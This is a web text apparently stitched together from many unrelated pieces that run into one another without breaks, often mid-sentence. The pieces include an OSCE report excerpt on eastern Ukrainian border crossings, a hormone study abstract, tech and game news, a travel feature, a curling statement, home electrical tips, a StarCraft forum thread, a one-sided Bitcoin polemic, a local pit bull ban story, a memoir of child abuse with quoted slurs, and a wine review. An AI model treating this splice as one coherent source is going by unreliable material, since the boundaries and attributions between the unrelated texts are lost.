The SMM attempted to monitor border areas not controlled by the Government and encountered two restrictions.* At the border crossing point near “DPR”-controlled Uspenka (73km south-east of Donetsk), the SMM observed 40 civilian cars, one truck, and two buses (a vast majority of the vehicles had Ukrainian licence plates) waiting in a queue to cross into the Russian Federation. At the crossing point, “DPR” members did not allow the SMM to access the area where the screening of documents was carried out. At the pedestrian crossing point in “LPR”-controlled Novoborovytsi (79km south of Luhansk), the SMM did not observe any pedestrians passing from either side. At the border crossing point in “LPR”-controlled Dovzhanskyi (84km south-east of Luhansk), the SMM observed seven civilian cars (five with Ukrainian licence plates and two with Russian Federation licence plates), one bus and one cargo truck (both with Ukrainian licence plates) queuing to leave Ukraine, all of which, during its 35-minute observation, crossed into the Russian Federation. At the border crossing point in “LPR”-controlled Izvaryne (52km south-east of Luhansk), an “LPR” member demanded that the SMM leave the area.
At the Hoptivka border crossing point (33km north of Kharkiv city), the SMM monitored as 11 Russian Federation Armed Forces personnel entered Ukraine for the latest JCCC rotation in Donetsk and Luhansk regions. The SMM observed that the border crossing procedure went smoothly.
*Restrictions to SMM’s freedom of movement or other impediments to the fulfilment of its mandate
The SMM’s monitoring is restrained by security hazards and threats, including risks posed by mines and unexploded ordnance, and by restrictions of its freedom of movement and other impediments – which vary from day to day. The SMM’s mandate provides for safe and secure access throughout Ukraine. All signatories of the Package of Measures have agreed on the need for this safe and secure access, that restriction of the SMM’s freedom of movement constitutes a violation, and on the need for rapid response to these violations.
Denial of access:
At the border crossing point in “DPR”-controlled Uspenka, armed “DPR” members did not allow the SMM to reach the area where the screening of documents was carried out. The SMM informed the JCCC.
At the border crossing point in “LPR”-controlled Izvaryne, an “LPR” member, who introduced himself as a “border guard”, demanded that the SMM leave the area, when the SMM refused to show its patrol plan. The SMM informed the JCCC.
In the morning, 50m south of the “LPR” checkpoint immediately south of the Stanytsia Luhanska bridge, an armed “LPR” member denied the SMM access to the bridge as it did not provide its patrol plan (in the Russian language). The SMM informed the JCCC.
In the early afternoon, at almost the same location 50m before the aforementioned checkpoint, an “LPR” member again did not allow the SMM to proceed further to the bridge. The SMM informed the JCCC.
Conditional access:
In “LPR”-controlled Sokilnyky (38km north-west of Luhansk), armed “LPR” members in a car escorted the SMM from a distance of 800m from an “LPR” checkpoint on the western edge of the village to the last checkpoint in the centre of the village, referring to security reasons.
[1] Please see the annexed table for a complete breakdown of the ceasefire violations as well as map of the Donetsk and Luhansk regions marked with locations featured in this report.Although research has investigated the neuroendocrine correlates of romantic relationships, the neuroendocrine correlates of friendship formation are largely unexplored. In two conditions, participants’ salivary testosterone and cortisol were measured before and after a high versus low closeness activity with another same-sex participant. In the high closeness task, participants took turns answering questions that fostered increases in self-disclosure. The low closeness task fostered low levels of self-disclosure. Dyadic multilevel models indicated that lower basal testosterone and decreases in testosterone were associated with increased closeness between recently acquainted strangers. Our results suggest that people high in testosterone felt less close to others and desired less closeness. Further, lower basal cortisol and dynamic cortisol decreases were associated with greater closeness and desired closeness in the high closeness condition. Finally, we found that the partners of those who had lower cortisol desired more closeness. These findings suggest that lower testosterone and cortisol are linked to the facilitation of initial social bonds and that these social bonds may, in turn, be associated with changes in these hormones.You've heard the rumors, and Apple has now confirmed that it will be bringing Siri voice control to its new iPhone 4S -- and, yes, it will still be called Siri. That will let you use natural language to perform tasks like asking for a weather forecast or getting directions, setting an alarm or making a calendar appointment, and searching Wikipedia or Wolfram Alpha for information (among many other possibilities). Described as a "humble personal assistant," Siri will work in English (including the UK and Australia), French and German for now, and it'll work with all built-in apps and over both 3G and WiFi. It'll also be a beta to start with, and Apple promises that it "gets better" as it learns your voice. Unfortunately for current iPhone owners, however, it looks like Siri will only be available on the iPhone 4S (at least initially).Perhaps not surprisingly, Apple appears to have pulled the existing Siri Assistant app from the App Store. There's also somewhat curiously no mention of Siri at all on Apple's Canadian website, although the Siri app itself was never available in Canada to begin with. [Thanks to everyone who sent this in]: Already enjoying the fruits of a voice navigated lifestyle with Siri on your iPhone? Don't get used to it, as users are receiving messages like this one indicating it will shut down for the non-iPhone 4S owning plebeians as of October 15th. [Thanks Shawn & Lloyd]Getaways: Spend the day at Oakland’s Lake Merritt
For a map of the gardens, go to gardensatlakemerritt.org/the-green-heart-of-oakland.
Gondola Servizio tours are available during lake hours, departing from the Lake Chalet Seafood Bar and Grill. gondolaservizio.com
Cathedral of Christ the Light offers guided docent tours at 1 p.m. Monday through Friday, as well as self-guided tours. ctlcathedral.org
Lake Merritt is 60 miles southeast of Santa Rosa. Take the Grand Avenue/Lakeside Avenue exit from I-580.
It’s Saturday morning, and Lake Merritt’s borders have become a promenade for joggers, walkers, seniors (some with canes, some sitting on benches). Couples stroll holding coffee cups, others hold hands. Some push babies in strollers.
Out on the lake’s islands, birds ruffle their feathers and stretch their wings. A kayaker rows near Lake Chalet Seafood Bar and Grill, where a gondola is tied up at the dock.
This Oakland lake, with a perimeter of more than three miles, is a site for endless discovery.
There’s Fairyland; lawn bowling; nature center; boat rentals; and a seven-acre collection of themed gardens that include bonsai, Mediterranean and community beds.
The lake has a long history, too. It’s the first wildlife refuge in North America and qualifies as a birder’s paradise.
One discovery leads to another. Impressive buildings overlook the lake, among them a beautiful courthouse, the Scottish Rite Temple, the Victorian Camron Stanford House and the garden atop the Kaiser building garage (which some say is the largest rooftop garden in the world).
And then there are the gondola rides.
When Sam Merritt was Oakland’s mayor in 1869, he dammed most of San Antonio Creek to enlarge this tidal lagoon and limit the tide flowing in from the Alameda Estuary, but he couldn’t have imagined gondolas on his public lake. One hundred and 30 years later, April Quinn and her husband Angelino Sandri, brought gondolas to the lake.
They met at Long Beach State University, married in 1997 and moved for a time to Venice, where they hatched a dream and opened a gondola company in the U.S. They ordered authentic gondolas to be shipped to the San Francisco Bay, where they hoped to start their business.
Sandri came to San Francisco but didn’t have time to navigate the city’s long approval process before the boats arrived. Fortunately, he discovered Lake Merritt and the enthusiastic owner of the Boat House. The successful Gondola Servizio began in 1999.
Sandri actually prefers Oakland’s warmer, sunnier climate and the lake’s twilight colors and ring of lights, which are perfect for gondola rides.
Years later, the pair moved their gondolas across the lake to the upscale Lake Chalet Seafood Bar and Grill and opened a gift shop as well. Quinn says the city and local developers now use gondola pictures in marketing brochures.
But back when the couple first arrived, the lakeside was shabby and the rivers and storm drains flowing into the lake carried in pollution.
In 2002, Sandri and Quinn helped promote the successful DD Bond measure that focused on Lake Merritt improvements.
Bond money and ongoing planning fueled a massive clean up of the lake and renewal of the parks and paths around its perimeter. This included Lakeside Park on the north shore where Fairyland, Oakland’s beloved storybook theme park, sits amid giant oak trees.
Built in 1950, Fairyland was the first ever U.S. amusement park for young children. Walt Disney used it as the inspiration for his Fantasy Land and hired away Fairyland’s first director and a puppeteer.
By 2004, Fairyland was sorely in need of renovation, and there was talk of tearing it down. The city decided instead that it was too near and dear to the hearts of Oaklanders and began its restoration. Today, 40 sets have been created that draw from children’s book characters such as Peter Rabbit, Alice in Wonderland, the Old Woman in a Shoe and Willie the Blue Whale. There are special gardens, farm animals, tunnels, slides, puppet shows and the Jolly Trolley.WCF Communication (brush head technology)
Over the past few weeks there has been considerable discussion regarding the impact curling brush head technology has on the field of play, the resulting influence on the path a curling stone travels and what the acceptable limits of that influence should be.
Much has been learned during this time and we continue to add to our knowledge base so that well-informed and thoughtful decisions about advancements in this technology can be taken in the best interest of the sport.
The World Curling Federation (WCF) is aware other organizations have taken positions regarding equipment allowed for use in their curling events. The impacts of those decisions are being monitored with interest and what is learned from their experiences will be added to our understanding.
The WCF Competition and Rules Commission has engaged a number of stakeholders as it considers the current situation. This has included reaching outside the sport for expertise and guidance.
As part of this work and in advance of any interim or long term decisions, a Statement of Principles regarding the impact Competition Equipment should have on the sport has been developed and approved by the WCF Board.
This document has been drafted with careful thought and attention to the principle of fair play and places a high importance on athletic performance and mental skill, as compared to an over-reliance on advances in technology.
It takes into account the competitive nature of sport and continues to welcome equipment advancements that make a positive contribution to curling.
The WCF is confident this Statement of Principles will be a valuable tool against which decisions regarding the Rules of Curling and standards for competition equipment will be measured and will serve to guide the organisation and its Members through this particular issue and others which may arise in the future.
We recognise the world curling community is looking to the WCF for leadership on this issue and our Member Associations expect a timely resolution to the question of acceptable brush head technology.
This is a very complex subject and there are many competitive and commercial issues to balance. The WCF is taking the time necessary to ensure sound, informed decisions are taken and we believe it is better to do this “right” than to do it fast.
We also appreciate the urgency, as a number of world championship qualifying events are taking place in the coming weeks and these competitions are the first steps in the qualification process towards the 2018 Olympic Winter Games.
It is our expectation that the WCF will have taken a position on allowable brush head technology prior to the start of the Pacific-Asia Curling Championships in Almaty, Kazakhstan on 8 November 2015 and further information will be forthcoming in the days ahead.
151030 Statement of Principles FINALElectricity is dangerous and should not be touched or tampered with by anyone that is not a professional. It’s essential that you are familiar with the rules of electrical safety in order to keep you and your family safe, which is why we have devised this set of electrical safety to help you keep electrically safe within your home.
Is Electrical Safety Important?
Yes, one of the most important things when you are at home and at work, your work is required by law to PAT test all appliances used in the workplace, so there are rules to keep you safe. However, laws cannot protect you from all the dangers of electricity – so you have to take some precautions of your own. So if you want electrical safety tips to help you and your family stay safe – then keep reading!
#1 Ensure All Purchased Appliances Have Been Tested
When you buy electrical appliances from a shop, for example, a kettle they often come with a green PAT tested sticker. This proves that the device you have just purchased has been tested and that it is safe to use, it also states when the test expires, and a new one needs to take place – so you don’t even need to check for visual signs of wear and tear because it will be retested anyways.
Purchasing tested appliances provides the reassurance that the device you are putting in your home is safe and minimises the risk of any electrical issues.
#2 Never Attempt To Fix Any Electrical’s Yourself
Electricity is dangerous enough by simply being in your home; we advise that you should never attempt to address an electrical situation yourself and that you contact electricians Milton Keynes who will come to your home and sort the issue out for you. By trying to fix things yourself, you may worsen the damage and cost yourself more time and money than necessary.
#3 Tuck Away Electrical Wiring
It may sound silly, but this can be dangerous, under computers and behind televisions are the worst place that something like this happens. All of the cables and wiring are intertwined making it almost impossible to determine which cable is for what device, it not only makes your life difficult but it’s also hazardous.
Under your computer is accessible to young children and pets, and both of these when at an early age have the urge to bite. So it’s quite possible that if not hidden then these could be the prime target for a chew toy. They are also a hazard for tripping, and if your wiring is hidden under a carpet or something, then you are not going to be able to see the condition that your cables are in.
#4 Keep Electricals Out Of The Bathroom
Any form of liquid and electricity were not designed to mix, they are a dangerous combination and should be kept at a high distance whenever possible. As tempting as it may be to leave the hairdryer in the bathroom to grab after your shower may be, it’s not safe, and if your hair dryer comes into contact with water, then you could be injured.
#5 Keep An Eye Out For Damaged Cords
Damaged electrical wiring or cords in an instant giveaway that your appliance is becoming tired, this also applies to any form of electrical wiring. This, however, does not mean that it has to be in tatters, any damage or signs of wear and tear should be checked out by electrical contractors Milton Keynes to make sure that they are not a hazard.
#6 Damaged Sockets
And the same goes for plug sockets, over time pulling out sockets and plugging them back in can damage them and begin to force the socket fixture out of the wall. If your socket is physically hanging out of the wall, then this leaves the wiring exposed and prone to damage and access from children or pets. You should have an experienced electrician take a look and fit new sockets for you.
#7 Unplug Appliances Not Being Used
When you are in your house, then it’s okay to simply switch off devices not being used at the plug, this stops the unnecessary use of electricity and can not overload the appliance. When you go out you should always switch off and unplug appliances, things like LED lights can become overheated if left on for an extended period of time. If left on for long enough they could overload and begin a house fire. Unattended devices are one of the main culprits for starting house fires, so it’s important that you turn off your appliances to ensure this doesn’t happen.
#8 Always Remove Plugs From Sockets Via The Plug
This is often a crime we all commit when doing something like hoovering, you are upstairs, and the hoover is plugged in downstairs, and you don’t want to walk all the way down to come straight back up again. So you tug at the hoover cord, and the plug releases out of the wall, and you can then drag it upstairs to where you are. This is dangerous and as tempting as it is you should never do it, the same goes for snatching a cable from the wall when in anger. You should always remove the something from a socket by using the plug.
#9 Stick To One Extension Lead
Extension leads are helpful, but there’s only so much power they can handle, you should never plug extension leads int extension leads. The reason for this being that extension cords reduce the wattage capabilities of each cord, and it may eventually lead to meltdown and a fire, if you need plug socket closer to you then consider purchasing one with a longer cord length – not plugging extension leads into one another.
#10 No Electrical Appliances Outside In Bad Weather
Like we mentioned earlier, liquids and electricals do not mix – and that includes rain. You should never use any electrical appliances outside when the weather is bad otherwise you are at a high risk of electrocution. This includes things like mowing the grass in the rain, chainsaws or hedge trimmers. You should use these tools on a sunny, clear day.
Summary
So there you have our top 10 electrical safety tips, you should use these tips for everyday life in order to keep you and your family safe. We hope that this article was helpful – if it was then why not share on social media?Xeln4g4 Profile Joined January 2005 Italy 1086 Posts #21 so hyped for this one! Bisu 3-2 would be top fun!
iamho Profile Joined June 2009 3340 Posts #22 I predict Bisu cheese 3 times and loses 0-3.
s_k_911 Profile Joined August 2008 China 342 Posts #23 On January 23 2016 10:37 iamho wrote:
I predict Bisu cheese 3 times and loses 0-3.
I like your prediction^ ^ I like your prediction^ ^ apm200 terran play for fun
CursOr Profile Blog Joined January 2009 United States 6317 Posts #24 I can't wait to watch this. I forgot what it's like to be super hyped for BW matches.
I'm going to play Broodwar until this comes on.
EffOrt all the way. Hwaiting! CJ forever (-_-(-_-(-_-(-_-)-_-)-_-)-_-)
HyralGambit Profile Joined February 2014 2439 Posts #25
http://us.battle.net/sc2/en/forum/topic/20420493793?page=1 Our brothers at battle.net/forums doing work Passion overcomes corporate stupidity: https://www.youtube.com/watch?v=jX9hbbA-WP4#t=4h2m
Essbee Profile Blog Joined August 2008 Canada 2186 Posts #26 Dis gon b gud! :D
BLinD-RawR Profile Blog Joined April 2010 ALLEYCAT BLUES 43990 Posts #27 On January 23 2016 11:38 Essbee wrote:
Dis gon b gud! :D
are you going to the studio? are you going to the studio? Moderator Woo Jung Ho, never forget.| Twitter: @BLinDRawR
HyralGambit Profile Joined February 2014 2439 Posts #28
HOLY SHIT: Passion overcomes corporate stupidity: https://www.youtube.com/watch?v=jX9hbbA-WP4#t=4h2m
HerbMon Profile Blog Joined June 2009 United States 362 Posts #29 HYPE HYPE! Like, have you ever been so turned off by someone that instead of removing your pants, you put an extra pair on?- Nina Zerg
HyralGambit Profile Joined February 2014 2439 Posts Last Edited: 2016-01-23 05:53:14 #30
lolol Korean Battle.net panel:lolol Passion overcomes corporate stupidity: https://www.youtube.com/watch?v=jX9hbbA-WP4#t=4h2m
Golgotha Profile Blog Joined January 2011 Korea (South) 8283 Posts #31 wow seriously? blizzard that is classy as fuck. thank you blizz!
HyralGambit Profile Joined February 2014 2439 Posts #32 On January 23 2016 14:55 Golgotha wrote:
wow seriously? blizzard that is classy as fuck. thank you blizz!
At least they didn't pull a Nintendo #Evo2013 Melee Stream Debacle At least they didn't pull a Nintendo #Evo2013 Melee Stream Debacle Passion overcomes corporate stupidity: https://www.youtube.com/watch?v=jX9hbbA-WP4#t=4h2m
afreecaTV.Char Profile Joined December 2014 United States 253 Posts #33 I heard there were going to be some announcements at the end, so stay tuned? @AfreecaTV_Char
HyralGambit Profile Joined February 2014 2439 Posts #34 On January 23 2016 15:28 afreecaTV.Char wrote:
I heard there were going to be some announcements at the end, so stay tuned? I heard there were going to be some announcements at the end, so stay tuned?
BW HD??? BW HD??? Passion overcomes corporate stupidity: https://www.youtube.com/watch?v=jX9hbbA-WP4#t=4h2m
Jeremy Reimer Profile Blog Joined August 2010 Canada 934 Posts #35 I am so stoked for this! And Tastosis casting too! "Imagination will often carry us to worlds that never were. But without it we go nowhere." -- Carl Sagan
Like classic sci-fi and space opera? Check out my author page on Amazon: http://www.amazon.com/Jeremy-Reimer/e/B007CMQGI4/
iamho Profile Joined June 2009 3340 Posts #36 On January 23 2016 15:28 afreecaTV.Char wrote:
I heard there were going to be some announcements at the end, so stay tuned? I heard there were going to be some announcements at the end, so stay tuned?
Afreeca BW proleague pls Afreeca BW proleague pls
BLinD-RawR Profile Blog Joined April 2010 ALLEYCAT BLUES 43990 Posts #37 On January 23 2016 15:28 afreecaTV.Char wrote:
I heard there were going to be some announcements at the end, so stay tuned? I heard |
schoolboy howlers don’t end there though. On one line, the writer claims that
Bitcoin is not a foundational protocol, like TCP/IP
He then says four lines later that a Blockchain has two components, one of them being “Its protocol”. I'm not making this up. Since he instantly concedes that the Bitcoin has and is a protocol, the question then becomes what does the word “foundational” mean? Does it mean how many people are using it? If so, if 21 are successful, the Bitcoin Protocol will be exactly that; the foundation for global commerce built in to every device from your wristwatch to your toaster. Millions of transactions are are being conducted via the Bitcoin protocol right now, and this is a fact. The protocol is readable and usable. Do we really have to spell this out? It appears that we do. The scale at which something is used does not have any bearing on its nature. There are many protocols some of which are no longer in wide use, like Telnet, yet they are all still protocols, and Wikipedia itself lists Bitcoin as a protocol:
OOPS!
Next another loud howler. Saying that the entire world should use one ledger is not the same as saying that the world “should store the entire English literary cannon in one book”. That is a very poor analogy. Saying the world should use one ledger is like saying the entire world should store every book on the internet… and that is exactly what has happened, and only copyright maximalists and, surprise surprise, lawyers, think this is a bad thing.
Bitcoin absolutely is a new protocol on the internet; it is a new layer where what arbitrary address owns what entry can be stored and retrieved. There is nothing at all absurd about a world wide ledger if you characterize the idea correctly and understand precisely how it works. In order to do that, you cannot remain a computer illiterate.
Another example of computer illiteracy; comparing LAMP stacks to the Blockchain is absurd, and once again, shows that anyone can throw around terms without understanding what they mean. LAMP stands for Linux Apache MySQL and PHP, the operating system, web-server, database and scripting language respectively. These free tools are used to build essentially any application you can imagine from facebook on. MySQL is the software that many companies use to create and manage their databases, and this is the part that some anti-Blockchain men are trying to replace, not understanding what MySQL is, or the context it is used in.
The “B” Layer
LAMP can be used to interface with the Blockchain by adding another layer to it, the “B” layer. It means running a copy of the Bitcoin server daemon, and then accessing its functions from LAMP. In a “BLAMP” setup, you can write to the Blockchain and read from it, including other people’s entries, and so can anyone else using BLAMP. That means you can write a title to the Blockchain, and anyone anywhere can verify that the write occurred. With Multisig, you can also make an infallible claim that other verified persons or institutions have “signed off” on any transaction.
This is the correct model for anyone wanting to build applications with the Blockchain; not to create their own private, unverifiable, insecure, reversible*, broken Blockchain, but to add the new protocol layer in a BLAMP application, using the Blockchain as a global readable, writeable, infallible authentication layer for every sort of transaction imaginable.
Now consider this. The Blockchain is a,
fully public open ledger which everyone can see, and which nobody controls.
Do you consider this to be a feature or a problem? Depending on your profession, the fact that the Blockchain is not under the control of anybody and is neutral is a feature, unless your profession is the control and mediation of man’s legal interactions and obligations. The Bitcoin Blockchain does this, and it is a benefit to ordinary men at the expense of professional mediators.
What matters ultimately, is that all the entries on the Bitcoin Blockchain are unforgeable and immutable once written. And the implied lack of privacy by using the phrase “fully public” is easily addressed as I described above, by only storing the digital signatures of documents in the Blockchain, not the plain text documents themselves, the signatures being privately verifiable by GPG on the office side. In order to understand how that works, you need to be computer literate, and understand Public Key Cryptography, which obviously the author does not.
Once again saying,
It’s not possible to do XML/FpML or anything even remotely that complex on Bitcoin
shows the writer doesn’t understand how software is developed. Anything you require in terms of function can and is provided in the software that communicates with the Bitcoin daemon. That logic is something your company has to author, and once again, true entrepreneurs immediately see business opportunities in creating off the shelf software packages that do this work so that the authoring of these tools doesn’t need to be done in house.
We’ve heard this before.
That Old Chestnut?
Saying Bitcoin can’t scale is something only a man who is completely inexperienced would say. Google will show you (if you know what to ask for) that for decades people have been raising the Straw Man that X software product “doesn’t scale”; on Slashdot its been a running joke for many years, along with the other hilarious ones like “FreeBSD is Dying”. For someone who uses forced memes to try and sell software, this is particularly hilarious.
Once again, as I said before, objections to software are essentially irrational. The only people who make them are men who are trying to complete in a space, or who have some other nefarious agenda, like the MPAA/RIAA and their pathetic attempts to conflate BitTorrent with every crime imaginable.
The Verdict: Guilty. Wishful Thinking and FUD M’lud
Objections to software must be made with software, not fallacies. Wishful thinking cannot stop software. If you want to understand how software works, you must download it and use it, and read its documentation. There are no short cuts. Men who refuse to download and run software, but who continually raise objections to it all come from the same class of corporate professional class; they are computer illiterate jargon mongers, who try and cover their ignorance with bad college humour, fallacies and nonsense. Their appeal, limited or not, is irrelevant; only the software matters, and in this case its Bitcoin, which will not be stopped or derailed by any lawyer or faddish entrepreneur without insight.
The world has changed. The landscape is shifting with a quake that is way above 9 on the Richter scale. The edifices of the law and banks are being toppled by this quake, and in their place will be something better, faster, more widespread, secure and equitable, with a side effect of peace, the end of inflation and prosperity.
Now what sort of man wouldn’t want that?
*EtheriumValley Community Bans Pit Bulls Copyright 2019 Nexstar Broadcasting, Inc. All rights reserved. This material may not be published, broadcast, rewritten, or redistributed. Video
Worthington, IN - Owning a certain dog breed in one Valley community could cost you in fines.
Just last month, the town of Worthington in Greene County made changes to its existing animal ordinance. Starting next week, pit bull terriers or a dog that is a quarter of a pit are banned in town.
It's unlawful to keep livestock in Worthington. That includes pigs, goats, horses to name a few. In a few days, pit bulls will fall under that same category.
Just last month, the town board approved the ordinance revision with a 4-1 vote. Board president Mackey Stahl, who declined an on camera interview, states the new ordinance is to make sure no pit bulls do harm to any resident.
Royer Veterinarian Services sits on Canal Street in Worthington, right next to the town hall. When workers heard of the ordinance banning pit bulls, they couldn't help but be perplexed.
"It doesn't matter on the breed. Any dog has a tendency that can be aggressive. Some are sweet, some are aggressive. But I can't say pit bulls in particular are the most aggressive or anything," Emmalee Mahan said.
Emmalee has interacted with a variety of dog breeds. Karen Romine, also a worker at Royer, echoes Emmalee's statement: that one breed may not be more aggressive over another.
"Any dog can be dangerous, whether it be a pit bull, a rotteweiler, a shepard or just a mix breed of any kind," Romine added.
Peggy Dailey, a Worthington resident, has several dogs, none of which are pit bulls.
"They're in a pen. No way in, no way out. It's locked. Either that or they're on a leash. I just feel like the town was very wrong in it," Dailey said.
She feels it's the responsibility of the owner to properly train their dogs, no matter the breed.
"If they don't guide them correctly or they don't love them and care enough and treat them to be fighters, then that's what they're going to be. I feel like it's up to the person and I don't feel like it's the dog," Dailey added.
Uriah Resler, also of Worthington, couldn't agree more.
"Maybe some rules and stipulations on your pets as far as dogs and things. To go against the breed, that is kind of discriminatory."
This coming from someone who had pit bulls his entire life. In fact, his brother still has a few of his own and also a few kids at home.
"He has 3 children. One's 6 years old, one's 3 years old and one's a newborn and he has 2 of them living in the house now. They're just nice as can be," Resler explained.
Those caught with a pit bull will be fined $50 per day, until they get rid of the dog.I am shocked, SHOCKED to see that Futurama, the long-running animated comedy series with high-concept science fiction plots and likeable characters has inspired this much fan art.
If there's an illustration or style that you particularly love we urge you to click on the artist's name and see if they offer prints, commissions, or a Patreon page. You could be a one-person Planet Express crew delivering some joy to their day.
1. New New York by Alexei Zakharov
2. Leela by sakimichan
2. Professor Hubert J. Farnsworth by TranzorZ3D
3. Return to Sender by hektious.tumblr.com
4. The Glorious Hypnotoad by Amanda Spaid
5. The Planet Express Delivery Crew by Godfrey Escota
6. Fry and Zap by supercluster-hong
7. Badass Futurama by Ryan Sawyer
8. Claw Plaugh by spacecoyote
9. Amy Wong by Cristian Melián
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Zoom! ( 1 ) Product Features New item ( 400 )During the CD Projekt RED (CDPR, the developer behind The Witcher series) summer announcement event, it announced it had begun developing an RPG based on the pen and paper RPG Cyberpunk. Though the developers announcement event today revolved mostly around Good Old Games going Mac, but the big reveal was held for last.
Cyberpunk 2077 was revealed as the name of the upcoming RPG, and a few details about the title were also rolled out. The game will be an “ambitious RPG for mature audiences, set in the corrupt and tech-advanced world of the year 2077.” Except the date, that much was already known, but CDPR then revealed that the game will feature a a multi-thread story taking place in a sandbox environment centered on Night City.
A “gigantic” arsenal of weapons, upgrades, implants, and “cool high-tech gadgets” will also be a part of 2077. If the image above is any indication, some of those implants will be both deadly and sexy. Another point made during the presentation is that the game will feature “advanced RPG mechanics based on the pen and paper RPG and upgraded for the 2077 setting.
Cyberpunk pen and paper RPG creator Mike Pondsmith once again took the stage to announce these teaser details. Over on the game’s newly launched blog and website, Pondsmith is writing about his experiences developing the game with CDPR. From one of his first blog posts:adjective
beyond correction, reform, or alteration
My probation officer, Jody, would not allow my mom into the sessions with me.
The first thing Jody said to me was “I don’t believe you are a bad kid. I have some other theories, having met your mother. I know this may sound strange, but would you be willing to take your shirt off?”
A small part of me wondered if this was another adult using me for some weird sexual pleasure, but when she saw me with my shirt off, her face reflected sadness, concern and fear.
She asked me who did this to me.
I didn’t answer.
She swore she could protect me.
I told her that it was my mother and her boyfriend.
She asked if she could photograph me and told me that she would document the photos.
She told me that she would see me weekly.
She explained that by seeing me weekly that it would ensure that they couldn’t injure me, because the wounds wouldn’t have time to heal.
I was skeptical, but wanted to believe her.
Jody asked my mom to come into her office and asked me to wait outside.
My mother was a master of crying and playing the victim.
Everywhere we went people hugged her and told her how brave she was for being such a good mother to such an awful kid.
I believed them too.
I wondered why I was such an awful kid.
I wished my mom had a good son.
So I was confused as to the yelling coming from Jodi’s office.
Why was my probation officer telling my mother that she would put her in jail if she saw “one more mark” on me?
My mother’s facade came crumbling down and the name-calling I had grown accustomed to was now being directed at this authority figure.
I remember Jody telling my mom that she “has seen a thousand mom’s play this poor me act” and that “she wasn’t fooled.”
And my life began to change.
They stopped hitting me.
As they could no longer hit me, they stopped talking to me pretty much entirely.
I still heard the conversations in the kitchen.
The conversations where my mom commiserated with her friends about how awful I was.
And I continued to believe them.
But, I really looked forward to my weekly visits with Jody.
We would play cards and talk about my home life and my future.
I felt safe in her office.
At the end of a year my probation was up, but she renewed it telling the judge that I still was not reformed.
My mom and her boyfriend still hit me, but they were limited in what they could do.
Most of it was just grabbing me by my “faggot long hair” and dragging me around and smacking me with open hands. (fists often times left bruises and opened wounds, whereas smacking left a mark that was gone within an hour usually).
When I was 15, I was jumped by a bunch of kids at the new school (I switched schools every few months due to our constant evictions and subsequent moving around).
When I came home my mom and her boyfriend were concerned, not about me, but about how the bruises and lacerations would get them into trouble with Jody.
I told them that I would tell her that they had nothing to do with it.
“So what did you do to deserve it?” her boyfriend asked.
“I was just standing there.” I said, escaping into my room.
By morning my face was so swollen that I could barely breathe.
They took me to the hospital, blaming me all the way there for being a “faggot” and “having long hair”, which was what had caused the beating, according to them.
Jaw was broke…wired shut…8 weeks without food…weight loss (I dropped from 130 to 110 lbs).
Assaults at school increased.
Kids called me oil can, after the tin-man on The Wizard of Oz, because I couldn’t open my mouth.
The guidance counselor actually told me that she wanted me to quit school.
“This place is dangerous for you.” she said.
“Isn’t it your job to protect me?” I thought.
And then she said something that blows my mind every time I think about it.
“High-school isn’t for everyone she said.”
So I stopped going.
I would walk that direction in the morning, but there where no lions at this school.
I would just walk around and wait until my house was empty and then I would climb into my second story window and play my guitar.
One day my mother came home early.
I heard her milling around.
I got into my closet and closed the door.
I heard her come into my room.
I heard her looking around.
Then the closet door opened.
She dragged me out by my hair.
I escaped.
I ran down the hall and into the kitchen.
She was right behind me.
She got me trapped against the sink and started hitting me.
She forgot about Jody.
It was just like old times.
My mother was more than twice my size.
Her huge fists rained down on my head and I covered up like a defeated boxer.
My back was against the sink.
The knives from the strainer were digging into my skin.
And I panicked.
And I hit my mother.
She lie on the linoleum, clinching her face.
A look of shock and horror on her face.
I knew I had to get out, fast.
I ran to my room and grabbed my guitar and took off out the door, her screaming behind me about how I was going to jail.
I stole a bike and rode it for hours.
I had a friend, Donald, who lived in a neighboring city who I knew would take me in.
In retrospect, I am amazed that I was able to ride a little kids bike 40 miles.
It had a banana seat and the tires were kind of flat.
If I sat down my knees hit the handlebars, so I had to ride standing up.
It took me about seven hours to get to Donald’s house and it rained hard the last two hours.
When I arrived at Donald’s house, he and his sister took me in, no questions asked.
Donald’s sister was so nurturing.
She told me to take off my wet clothes and she wrapped me in a warm blanket and put me in bed.
I fell asleep, immediately.
I lived with Donald for three months.
We were thugs.
We did all the things you expect bad kids to do and after a few months of this we were arrested.
When my mom and her boyfriend came to pick me up, I refused to go with them.
I was in a regular adult jail cell, as they had not yet processed me.
There was nothing in it except for a toilet and a cot.
The officer came into the cell and said “If you don’t go with them you will have to stay in this cell until your trial. That could be months from now.”
“They will kill me.” I told him. “They will actually kill me.”
He went out and said “I am not going to release him to you.”
They argued.
He said “I have never seen a kid who is more afraid of his parents than he is of a jail cell. Something isn’t right.”
They lost their cool and the name-calling started up again.
He told them that he had other cells that he could put them in.
They left.
He brought me magazines.
He brought me print-outs on emancipation.
He made phone calls for me.
He talked my grandparents into taking me in.
He saved me.
I never went back to that tiny apartment.
And I was too large to fit into the lion’s mouth.
Everything was new.
No one was there to hit me.
Or tell me how much I sucked.
No one was there to break my guitar.
No one was there at all.
And it was perfect.I went ahead and tasted the Sauvignon Blanc, the following are my notes: In regards to color depth, this is a watery, but yellow wine as you can see in the picture. I should also say that the wine was clear, maybe very clear compared to other wines. The wine did not run away, but maybe because I didn’t notice any legs that caught my attention. In regards to aromas, this wine was moderate and had some age with aromas of honeydew, grass, apricot, toast, and honeysuckle.
The Sauvignon Blanc is medium sweet, with a medium body and crisp acidity. Regarding the balance between sugar and alcohol, I must say the wine was unbalanced since there was discrepancy between the amount of alcohol and sugar; however, it did not take away from the experience. Some of the flavors I noticed had hints of herbs, grass, grapefruit, and some flowers and was almost buttery. Quite a delicious wine, especially as a summer wine!
I highly recommend this Argentine vegan wine from the acclaimed area of Mendoza, Argentine wine country. In the near future I will be visiting wineries in Mendoza, Argentina, and of course looking for cruelty-free wines. Most likely, I plan to enjoy this wine again during the summer, or any other time I’m in the mood for wine. And don’t forget, this wine is available at your local Total Wine.
Until the next time, sip some more vino!
Bodegas Santa Ana
Mendoza, ArgentinaThe old “Field of Dreams” adage, “If you build it, they will come,” is playing out in Los Angeles.
The Oakland Raiders and San Diego Chargers are reportedly still considering joining the Los Angeles Rams here and playing at the future Inglewood stadium. The Raiders are engaged in dialogue with decision-makers in L.A. even as they work out a financing deal on a new stadium in Las Vegas. And the city of San Diego is trying to keep their Chargers from uprooting via a ballot proposal to raise local hotel taxes to fund a new downtown stadium and convention facility.
